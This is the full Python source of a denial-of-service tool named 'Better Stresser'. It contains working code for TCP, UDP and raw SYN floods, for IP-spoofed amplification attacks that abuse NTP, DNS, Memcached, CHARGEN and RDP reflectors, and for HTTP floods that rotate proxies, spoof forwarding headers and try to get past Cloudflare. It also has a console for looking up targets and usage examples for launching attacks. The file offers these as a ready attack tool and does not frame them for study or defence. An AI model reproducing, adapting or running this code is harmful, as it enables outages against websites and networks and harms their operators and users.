#!/usr/bin/env python3 # -*- coding: utf-8 -*- from contextlib import suppress from itertools import cycle from json import load from math import trunc, log2 from os import urandom as randbytes from pathlib import Path from random import randint, choice as randchoice from socket import (IP_HDRINCL, IPPROTO_IP, IPPROTO_TCP, TCP_NODELAY, SOCK_STREAM, AF_INET, socket, SOCK_DGRAM, SOCK_RAW, gethostname, gethostbyname) from ssl import SSLContext, create_default_context, CERT_NONE from sys import argv, exit from threading import Thread, Event, Lock from time import sleep from typing import Set, List, Any, Tuple from urllib import parse from PyRoxy import Proxy, Tools as ProxyTools, ProxyUtiles, ProxyType, ProxyChecker from certifi import where from cloudscraper import create_scraper from icmplib import ping from impacket.ImpactPacket import IP, TCP, UDP, Data from psutil import process_iter, net_io_counters, virtual_memory, cpu_percent from requests import get, Session, exceptions from yarl import URL localIP = get('http://ip.42.pl/raw').text currentDir = Path(__file__).parent ctx: SSLContext = create_default_context(cafile=where()) ctx.check_hostname = False ctx.verify_mode = CERT_NONE __version__ = "2.0 SNAPSHOT" class Methods: LAYER7_METHODS: Set[str] = {"CFB", "BYPASS", "GET", "POST", "OVH", "STRESS", "DYN", "SLOW", "HEAD", "NULL", "COOKIE", "PPS", "EVEN", "GSB", "DGB", "AVB"} LAYER4_METHODS: Set[str] = {"TCP", "UDP", "SYN", "VSE", "MINECRAFT", "MEM", "NTP", "DNS", "ARD", "CHAR", "RDP"} ALL_METHODS: Set[str] = {*LAYER4_METHODS, *LAYER7_METHODS} class Tools: @staticmethod def humanbytes(i: int, binary: bool = False, precision: int = 2): MULTIPLES = ["B", "k{}B", "M{}B", "G{}B", "T{}B", "P{}B", "E{}B", "Z{}B", "Y{}B"] if i > 0: base = 1024 if binary else 1000 multiple = trunc(log2(i) / log2(base)) value = i / pow(base, multiple) suffix = MULTIPLES[multiple].format("i" if binary else "") return f"{value:.{precision}f} {suffix}" else: return f"-- B" @staticmethod def humanformat(num: int, precision: int = 2): suffixes = ['', 'k', 'm', 'g', 't', 'p'] if num > 999: obje = sum([abs(num / 1000.0 ** x) >= 1 for x in range(1, len(suffixes))]) return f'{num / 1000.0 ** obje:.{precision}f}{suffixes[obje]}' else: return num class Layer4(Thread): _method: str _target: Tuple[str, int] _ref: Any SENT_FLOOD: Any _amp_payloads = cycle def __init__(self, target: Tuple[str, int], ref: List[str] = None, method: str = "TCP", synevent: Event = None): super().__init__(daemon=True) self._amp_payload = None self._amp_payloads = cycle([]) self._ref = ref self._method = method self._target = target self._synevent = synevent def run(self) -> None: if self._synevent: self._synevent.wait() self.select(self._method) while 1: with suppress(OSError, ConnectionError, TimeoutError, BrokenPipeError): self.SENT_FLOOD() def select(self, name): self.SENT_FLOOD = self.TCP if name == "UDP": self.SENT_FLOOD = self.UDP if name == "SYN": self.SENT_FLOOD = self.SYN if name == "VSE": self.SENT_FLOOD = self.VSE if name == "MINECRAFT": self.SENT_FLOOD = self.MINECRAFT if name == "RDP": self._amp_payload = (b'\x00\x00\x00\x00\x00\x00\x00\xff\x00\x00\x00\x00\x00\x00\x00\x00', 3389) self.SENT_FLOOD = self.AMP self._amp_payloads = cycle(self._generate_amp()) if name == "MEM": self._amp_payload = (b'\x00\x01\x00\x00\x00\x01\x00\x00gets p h e\n', 11211) self.SENT_FLOOD = self.AMP self._amp_payloads = cycle(self._generate_amp()) if name == "CHAR": self._amp_payload = (b'\x01', 19) self.SENT_FLOOD = self.AMP self._amp_payloads = cycle(self._generate_amp()) if name == "ARD": self._amp_payload = (b'\x00\x14\x00\x00', 3283) self.SENT_FLOOD = self.AMP self._amp_payloads = cycle(self._generate_amp()) if name == "NTP": self._amp_payload = (b'\x17\x00\x03\x2a\x00\x00\x00\x00', 123) self.SENT_FLOOD = self.AMP self._amp_payloads = cycle(self._generate_amp()) if name == "DNS": self._amp_payload = (b'\x45\x67\x01\x00\x00\x01\x00\x00\x00\x00\x00\x01\x02\x73\x6c\x00\x00\xff\x00\x01\x00' b'\x00\x29\xff\xff\x00\x00\x00\x00\x00\x00', 53) self.SENT_FLOOD = self.AMP self._amp_payloads = cycle(self._generate_amp()) def TCP(self) -> None: with socket(AF_INET, SOCK_STREAM) as s: s.setsockopt(IPPROTO_TCP, TCP_NODELAY, 1) s.connect(self._target) while s.send(randbytes(1024)): continue def MINECRAFT(self) -> None: with socket(AF_INET, SOCK_STREAM) as s: s.setsockopt(IPPROTO_TCP, TCP_NODELAY, 1) s.connect(self._target) s.send(b'\x0f\x1f0\t' + self._target[0].encode() + b'\x0fA') while s.send(b'\x01'): s.send(b'\x00') def UDP(self) -> None: with socket(AF_INET, SOCK_DGRAM) as s: while s.sendto(randbytes(1024), self._target): continue def SYN(self) -> None: with socket(AF_INET, SOCK_RAW, IPPROTO_TCP) as s: s.setsockopt(IPPROTO_IP, IP_HDRINCL, 1) while s.sendto(self._genrate_syn(), self._target): continue def AMP(self) -> None: with socket(AF_INET, SOCK_RAW, IPPROTO_TCP) as s: s.setsockopt(IPPROTO_IP, IP_HDRINCL, 1) while s.sendto(*next(self._amp_payloads)): continue def VSE(self) -> None: with socket(AF_INET, SOCK_DGRAM) as s: while s.sendto((b'\xff\xff\xff\xff\x54\x53\x6f\x75\x72\x63\x65\x20\x45\x6e\x67\x69\x6e\x65' b'\x20\x51\x75\x65\x72\x79\x00'), self._target): continue def _genrate_syn(self) -> bytes: ip: IP = IP() ip.set_ip_src(localIP) ip.set_ip_dst(self._target[0]) tcp: TCP = TCP() tcp.set_SYN() tcp.set_th_dport(self._target[1]) tcp.set_th_sport(randint(1, 65535)) ip.contains(tcp) return ip.get_packet() def _generate_amp(self): payloads = [] for ref in self._ref: ip: IP = IP() ip.set_ip_src(self._target[0]) ip.set_ip_dst(ref) ud: UDP = UDP() ud.set_uh_dport(self._amp_payload[1]) ud.set_uh_sport(self._target[1]) ud.contains(Data(self._amp_payload[0])) ip.contains(ud) payloads.append((ip.get_packet(), (ref, self._amp_payload[1]))) return payloads class HttpFlood(Thread): _proxies: cycle = None _payload: str _defaultpayload: Any _req_type: str _useragents: List[str] _referers: List[str] _target: URL _method: str _rpc: int _synevent: Any SENT_FLOOD: Any def __init__(self, target: URL, method: str = "GET", rpc: int = 1, synevent: Event = None, useragents: Set[str] = None, referers: Set[str] = None, proxies: Set[Proxy] = None) -> None: super().__init__(daemon=True) self.SENT_FLOOD = None self._synevent = synevent self._rpc = rpc self._method = method self._target = target self._raw_target = (self._target.host, (self._target.port or 80)) if not ProxyTools.Patterns.IP.match(self._target.host): self._raw_target = (gethostbyname(self._target.host), (self._target.port or 80)) if not referers: referers: List[str] = ["https://www.facebook.com/l.php?u=https://www.facebook.com/l.php?u=", ",https://www.facebook.com/sharer/sharer.php?u=https://www.facebook.com/sharer" "/sharer.php?u=", ",https://drive.google.com/viewerng/viewer?url=", ",https://www.google.com/translate?u="] self._referers = list(referers) if proxies: self._proxies = cycle(proxies) if not useragents: useragents: List[str] = [ 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 ' 'Safari/537.36', 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 ' 'Safari/537.36', 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 ' 'Safari/537.36', 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0'] self._useragents = list(useragents) self._req_type = self.getMethodType(method) self._defaultpayload = "%s %s HTTP/1.1\r\n" % (self._req_type, target.raw_path_qs) self._payload = (self._defaultpayload + 'Accept-Encoding: gzip, deflate, br\r\n' 'Accept-Language: en-US,en;q=0.9\r\n' 'Cache-Control: max-age=0\r\n' 'Connection: Keep-Alive\r\n' 'Sec-Fetch-Dest: document\r\n' 'Sec-Fetch-Mode: navigate\r\n' 'Sec-Fetch-Site: none\r\n' 'Sec-Fetch-User: ?1\r\n' 'Sec-Gpc: 1\r\n' 'Pragma: no-cache\r\n' 'Upgrade-Insecure-Requests: 1\r\n') def run(self) -> None: if self._synevent: self._synevent.wait() self.select(self._method) while 1: with suppress(OSError, ConnectionError, TimeoutError, BrokenPipeError): self.SENT_FLOOD() @property def SpoofIP(self) -> str: spoof: str = ProxyTools.Random.rand_ipv4() payload: str = "" payload += "X-Forwarded-Proto: Http\r\n" payload += f"X-Forwarded-Host: {self._target.raw_host}, 1.1.1.1\r\n" payload += f"Via: {spoof}\r\n" payload += f"Client-IP: {spoof}\r\n" payload += f'X-Forwarded-For: {spoof}\r\n' payload += f'Real-IP: {spoof}\r\n' return payload def generate_payload(self, other: str = None) -> bytes: payload: str | bytes = self._payload payload += "Host: %s\r\n" % self._target.authority payload += self.randHeadercontent payload += other if other else "" print(payload) return str.encode(f"{payload}\r\n") def open_connection(self) -> socket: sock = socket(AF_INET, SOCK_STREAM) if self._proxies: sock = next(self._proxies).wrap(sock) sock.setsockopt(IPPROTO_TCP, TCP_NODELAY, 1) if self._target.scheme.lower() == "https": sock = ctx.wrap_socket(sock, server_hostname=self._target.host, server_side=False, do_handshake_on_connect=True, suppress_ragged_eofs=True) sock.connect(self._raw_target) return sock @property def randHeadercontent(self) -> str: payload: str = "" payload += f"User-Agent: {randchoice(self._useragents)}\r\n" payload += f"Referrer: {randchoice(self._referers)}{parse.quote(self._target.human_repr())}\r\n" payload += self.SpoofIP return payload @staticmethod def getMethodType(method: str) -> str: return "GET" if {method.upper()} & {"CFB", "GET", "COOKIE", "OVH", "EVEN", "STRESS", "DYN", "SLOW", "PPS"} \ else "POST" if {method.upper()} & {"POST"} \ else "HEAD" if {method.upper()} & {"GSB", "HEAD"} \ else "REQUESTS" def POST(self) -> None: payload: bytes = self.generate_payload((f"Content-Length: {32}\r\n" "X-Requested-With: XMLHttpRequest\r\n" "Content-Type: application/x-www-form-urlencoded; charset=utf-8\r\n\n" f"data={ProxyTools.Random.rand_str(32)}\r\n")) with self.open_connection() as s: for _ in range(self._rpc): s.send(payload) def STRESS(self) -> None: payload: bytes = self.generate_payload((f"Content-Length: {2048}\r\n" "X-Requested-With: XMLHttpRequest\r\n" "Content-Type: application/x-www-form-urlencoded; charset=utf-8\r\n\n" f"data={ProxyTools.Random.rand_str(2048)}\r\n" "Cookie: %s=%s" % (ProxyTools.Random.rand_str(12), ProxyTools.Random.rand_str(100)))) with self.open_connection() as s: for _ in range(self._rpc): s.send(payload) def COOKIES(self) -> None: payload: bytes = self.generate_payload("Cookie: _ga=GA%s;" " _gat=1;" " __cfduid=dc232334gwdsd23434542342342342475611928;" " %s=%s\r\n" % (randint(1000, 99999), ProxyTools.Random.rand_str(6), ProxyTools.Random.rand_str(32))) with self.open_connection() as s: for _ in range(self._rpc): s.send(payload) def PPS(self) -> None: with self.open_connection() as s: for _ in range(self._rpc): s.send(self._defaultpayload) def GET(self) -> None: payload: bytes = self.generate_payload() with self.open_connection() as s: for _ in range(self._rpc): s.send(payload) def EVEN(self) -> None: payload: bytes = self.generate_payload() with self.open_connection() as s: while s.send(payload) and s.recv(1): continue def OVH(self) -> None: payload: bytes = self.generate_payload() with self.open_connection() as s: for _ in range(min(self._rpc, 5)): s.send(payload) def CFB(self): pro = None if self._proxies: pro = next(self._proxies) with create_scraper() as s: if pro: s = pro.wrap(s) for _ in range(self._rpc): s.get(self._target.human_repr()) def AVB(self): pro = None if self._proxies: pro = next(self._proxies) with Session() as s: if pro: s = pro.wrap(s) for _ in range(self._rpc): s.post(self._target.human_repr()) def DGB(self): with create_scraper() as s: for _ in range(min(self._rpc, 5)): sleep(min(self._rpc, 5) / 100) if self._proxies: pro = next(self._proxies) s.get(self._target.human_repr(), proxies=pro.asRequests()) continue s.get(self._target.human_repr()) def DYN(self): payload: str | bytes = self._payload payload += "Host: %s.%s\r\n" % (ProxyTools.Random.rand_str(6), self._target.authority) payload += self.randHeadercontent payload += self.SpoofIP payload = str.encode(f"{payload}\r\n") with self.open_connection() as s: for _ in range(self._rpc): s.send(payload) def GSB(self): payload = "%s %s?qs=%s HTTP/1.1\r\n" % (self._req_type, self._target.raw_path_qs, ProxyTools.Random.rand_str(6)) payload = (payload + 'Accept-Encoding: gzip, deflate, br\r\n' 'Accept-Language: en-US,en;q=0.9\r\n' 'Cache-Control: max-age=0\r\n' 'Connection: Keep-Alive\r\n' 'Sec-Fetch-Dest: document\r\n' 'Sec-Fetch-Mode: navigate\r\n' 'Sec-Fetch-Site: none\r\n' 'Sec-Fetch-User: ?1\r\n' 'Sec-Gpc: 1\r\n' 'Pragma: no-cache\r\n' 'Upgrade-Insecure-Requests: 1\r\n') payload += "Host: %s\r\n" % self._target.authority payload += self.randHeadercontent payload += self.SpoofIP payload = str.encode(f"{payload}\r\n") with self.open_connection() as s: for _ in range(self._rpc): s.send(payload) def NULL(self) -> None: payload: str | bytes = self._payload payload += "Host: %s\r\n" % self._target.authority payload += "User-Agent: null\r\n" payload += "Referrer: null\r\n" payload += self.SpoofIP payload = str.encode(f"{payload}\r\n") with self.open_connection() as s: for _ in range(self._rpc): s.send(payload) def SLOW(self): payload: bytes = self.generate_payload() with self.open_connection() as s: for _ in range(self._rpc): s.send(payload) while s.send(payload) and s.recv(1): for i in range(self._rpc): s.send(str.encode("X-a: %d\r\n" % randint(1, 5000))) sleep(self._rpc / 15) break def select(self, name: str) -> None: self.SENT_FLOOD = self.GET if name == "POST": self.SENT_FLOOD = self.POST if name == "CFB": self.SENT_FLOOD = self.CFB if name == "BYPASS": self.SENT_FLOOD = self.BYPASS if name == "OVH": self.SENT_FLOOD = self.OVH if name == "AVB": self.SENT_FLOOD = self.AVB if name == "STRESS": self.SENT_FLOOD = self.STRESS if name == "DYN": self.SENT_FLOOD = self.DYN if name == "SLOW": self.SENT_FLOOD = self.SLOW if name == "GSB": self.SENT_FLOOD = self.GSB if name == "NULL": self.SENT_FLOOD = self.NULL if name == "COOKIE": self.SENT_FLOOD = self.COOKIES if name == "PPS": self.SENT_FLOOD = self.PPS self._defaultpayload = (self._defaultpayload + "Host: %s\r\n\r\n" % self._target.authority).encode() if name == "EVEN": self.SENT_FLOOD = self.EVEN def BYPASS(self): pro = None if self._proxies: pro = next(self._proxies) with Session() as s: if pro: s = pro.wrap(s) for _ in range(self._rpc): s.get(self._target.human_repr()) class ProxyManager: @staticmethod def DownloadFromConfig(cf, Proxy_type: int) -> Set[Proxy]: proxes: Set[Proxy] = set() lock = Lock() for provider in cf["proxy-providers"]: if provider["type"] != Proxy_type and Proxy_type != 0: continue print("Downloading Proxies form %s" % provider["url"]) ProxyManager.download(provider, proxes, lock, ProxyType.stringToProxyType(str(provider["type"]))) return proxes @staticmethod def download(provider, proxes: Set[Proxy], threadLock: Lock, proxy_type: ProxyType) -> Any: with suppress(TimeoutError, exceptions.ConnectionError, exceptions.ReadTimeout): data = get(provider["url"], timeout=provider["timeout"]).text for proxy in ProxyUtiles.parseAllIPPort(data, proxy_type): with threadLock: proxes.add(proxy) class ToolsConsole: METHODS = {"INFO", "CFIP", "DNS", "PING", "CHECK", "DSTAT"} @staticmethod def checkRawSocket(): with suppress(OSError): with socket(AF_INET, SOCK_RAW, IPPROTO_TCP): return True return False @staticmethod def runConsole(): cons = "%s@BetterStresser:~#" % gethostname() while 1: cmd = input(cons + " ").strip() if not cmd: continue if " " in cmd: cmd, args = cmd.split(" ", 1) cmd = cmd.upper() if cmd == "HELP": print("Tools:" + ", ".join(ToolsConsole.METHODS)) print("Commands: HELP, CLEAR, BACK, EXIT") continue if (cmd == "E") or \ (cmd == "EXIT") or \ (cmd == "Q") or \ (cmd == "QUIT") or \ (cmd == "LOGOUT") or \ (cmd == "CLOSE"): exit(-1) if cmd == "CLEAR": print("\033c") continue if not {cmd} & ToolsConsole.METHODS: print("%s command not found" % cmd) continue if cmd == "DSTAT": with suppress(KeyboardInterrupt): ld = net_io_counters(pernic=False) while True: sleep(1) od = ld ld = net_io_counters(pernic=False) t = [(last - now) for now, last in zip(od, ld)] print(("Bytes Sended %s\n" "Bytes Recived %s\n" "Packets Sended %s\n" "Packets Recived %s\n" "ErrIn %s\n" "ErrOut %s\n" "DropIn %s\n" "DropOut %s\n" "Cpu Usage %s\n" "Memory %s\n") % (Tools.humanbytes(t[0]), Tools.humanbytes(t[1]), Tools.humanformat(t[2]), Tools.humanformat(t[3]), t[4], t[5], t[6], t[7], str(cpu_percent()) + "%", str(virtual_memory().percent) + "%")) if cmd in ["CFIP", "DNS"]: print("Soon") continue if cmd == "CHECK": while True: with suppress(OSError, ConnectionError, TimeoutError, BrokenPipeError): domain = input(f'{cons}give-me-ipaddress# ') if not domain: continue if domain.upper() == "BACK": break if domain.upper() == "CLEAR": print("\033c") continue if (domain.upper() == "E") or \ (domain.upper() == "EXIT") or \ (domain.upper() == "Q") or \ (domain.upper() == "QUIT") or \ (domain.upper() == "LOGOUT") or \ (domain.upper() == "CLOSE"): exit(-1) if "/" not in domain: continue print('please wait ...', end="\r") with get(domain, timeout=20) as r: print(('status_code: %d\n' 'status: %s') % (r.status_code, "ONLINE" if r.status_code <= 500 else "OFFLINE")) return print("Error! ") if cmd == "INFO": while True: domain = input(f'{cons}give-me-ipaddress# ') if not domain: continue if domain.upper() == "BACK": break if domain.upper() == "CLEAR": print("\033c") continue if (domain.upper() == "E") or \ (domain.upper() == "EXIT") or \ (domain.upper() == "Q") or \ (domain.upper() == "QUIT") or \ (domain.upper() == "LOGOUT") or \ (domain.upper() == "CLOSE"): exit(-1) domain = domain.replace('https://', '').replace('http://', '') if "/" in domain: domain = domain.split("/")[0] print('please wait ...', end="\r") info = ToolsConsole.info(domain) if not info["success"]: print("Error!") continue print(("Country: %s\n" "City: %s\n" "Org: %s\n" "Isp: %s\n" "Region: %s\n" ) % (info["country"], info["city"], info["org"], info["isp"], info["region"])) if cmd == "PING": while True: domain = input(f'{cons}give-me-ipaddress# ') if not domain: continue if domain.upper() == "BACK": break if domain.upper() == "CLEAR": print("\033c") if (domain.upper() == "E") or \ (domain.upper() == "EXIT") or \ (domain.upper() == "Q") or \ (domain.upper() == "QUIT") or \ (domain.upper() == "LOGOUT") or \ (domain.upper() == "CLOSE"): exit(-1) domain = domain.replace('https://', '').replace('http://', '') if "/" in domain: domain = domain.split("/")[0] print('please wait ...', end="\r") r = ping(domain, count=5, interval=0.2) print(('Address: %s\n' 'Ping: %d\n' 'Aceepted Packets: %d/%d\n' 'status: %s\n' ) % (r.address, r.avg_rtt, r.packets_received, r.packets_sent, "ONLINE" if r.is_alive else "OFFLINE")) @staticmethod def stop(): print('All Attacks has been Stopped !') for proc in process_iter(): if proc.name() == "python.exe": proc.kill() @staticmethod def usage(): print(('* Coded By MH_ProDev For Better Stresser\n' 'Note: If the Proxy list is empty, the attack will run without proxies\n' ' If the Proxy file doesn\'t exist, the script will download proxies and check them.\n' ' Layer7: python3 %s \n' ' Layer4: python3 %s \n' '\n' ' > Methods:\n' ' - Layer4\n' ' | %s | %d Methods\n' ' - Layer7\n' ' | %s | %d Methods\n' ' - Tools\n' ' | %s | %d Methods\n' ' - Others\n' ' | %s | %d Methods\n' ' - All %d Methods\n' '\n' 'Example:\n' ' Layer7: python3 %s %s %s %s %s proxy.txt %s %s\n' ' Layer4: python3 %s %s %s %s %s') % (argv[0], argv[0], ", ".join(Methods.LAYER4_METHODS), len(Methods.LAYER4_METHODS), ", ".join(Methods.LAYER7_METHODS), len(Methods.LAYER7_METHODS), ", ".join(ToolsConsole.METHODS), len(ToolsConsole.METHODS), ", ".join(["TOOLS", "HELP", "STOP"]), 3, len(Methods.ALL_METHODS) + 3 + len(ToolsConsole.METHODS), argv[0], randchoice([*Methods.LAYER7_METHODS]), "https://example.com", randchoice([4, 5, 1]), randint(850, 1000), randint(50, 100), randint(1000, 3600), argv[0], randchoice([*Methods.LAYER4_METHODS]), "8.8.8.8:80", randint(850, 1000), randint(1000, 3600) )) # noinspection PyUnreachableCode @staticmethod def info(domain): with suppress(Exception), get("https://ipwhois.app/json/%s/" % domain) as s: return s.json() return {"success": False} if __name__ == '__main__': with open(currentDir / "config.json") as f: con = load(f) with suppress(KeyboardInterrupt): with suppress(IndexError): one = argv[1].upper() if one == "HELP": raise IndexError() if one == "TOOLS": ToolsConsole.runConsole() if one == "STOP": ToolsConsole.stop() method = one event = Event() if method in Methods.LAYER7_METHODS: url = URL(argv[2].strip()) threads = int(argv[4]) rpc = int(argv[6]) timer = int(argv[7]) proxy_ty = int(argv[3].strip()) proxy_li = Path(currentDir / "files/proxies/" / argv[5].strip()) useragent_li = Path(currentDir / "files/useragent.txt") referers_li = Path(currentDir / "files/referers.txt") proxies: Any = set() if not useragent_li.exists(): exit("The Useragent file doesn't exist ") if not referers_li.exists(): exit("The Referer file doesn't exist ") uagents = set(a.strip() for a in useragent_li.open("r+").readlines()) referers = set(a.strip() for a in referers_li.open("r+").readlines()) if not uagents: exit("Empty Useragent File ") if not referers: exit("Empty Referer File ") if proxy_ty not in {4, 5, 1}: exit("Socks Type Not Found [4, 5, 1]") if threads > 1000: print("WARNING! thread is higher than 1000") if rpc > 100: print("WARNING! RPC (Request Pre Connection) is higher than 100") if not proxy_li.exists(): if rpc > 100: print("WARNING! The file doesn't exist, creating files and downloading proxies.") proxy_li.parent.mkdir(parents=True, exist_ok=True) with proxy_li.open("w") as wr: Proxies: Set[Proxy] = ProxyManager.DownloadFromConfig(con, proxy_ty) print(f"{len(Proxies):,} Proxies are getting checked, this may take awhile !") Proxies = ProxyChecker.checkAll(Proxies, url.human_repr(), 1, threads) if not Proxies: exit( "Proxy Check failed, Your network may be the problem | The target may not be" " available.") stringBuilder = "" for proxy in Proxies: stringBuilder += (proxy.__str__() + "\n") wr.write(stringBuilder) proxies = ProxyUtiles.readFromFile(proxy_li) if not proxies: print("Empty Proxy File, Running flood witout proxy") proxies = None if proxies: print(f"Proxy Count: {len(proxies):,}") for _ in range(threads): HttpFlood(url, method, rpc, event, uagents, referers, proxies).start() if method in Methods.LAYER4_METHODS: target = argv[2].strip() if ":" in target and not target.split(":")[1].isnumeric(): exit("Invalid Port Number") port = 53 if ":" not in target else int(target.split(":")[1]) threads = int(argv[3]) timer = int(argv[4]) ref = None if ":" not in target: print("WARNING! Port Not Selected, Set To Default: 80") else: target = target.split(":")[0] if 65535 < port or port < 1: exit("Invalid Port [Min: 1 / Max: 65535] ") if not ProxyTools.Patterns.IP.match(target): exit("Invalid Ip Selected") if method in {"NTP", "DNS", "RDP", "CHAR", "MEM", "ARD", "SYN"} and \ not ToolsConsole.checkRawSocket(): exit("Cannot Create Raw Socket ") if method in {"NTP", "DNS", "RDP", "CHAR", "MEM", "ARD"}: if len(argv) == 6: refl_li = Path(currentDir / "files" / argv[5].strip()) if not refl_li.exists(): exit("The Reflector file doesn't exist ") ref = set(a.strip() for a in ProxyTools.Patterns.IP.findall(refl_li.open("r+").read())) if not ref: exit("Empty Reflector File ") for _ in range(threads): Layer4((target, port), ref, method, event).start() print("Attack Started !") event.set() while timer: timer -= 1 sleep(1) exit() ToolsConsole.usage()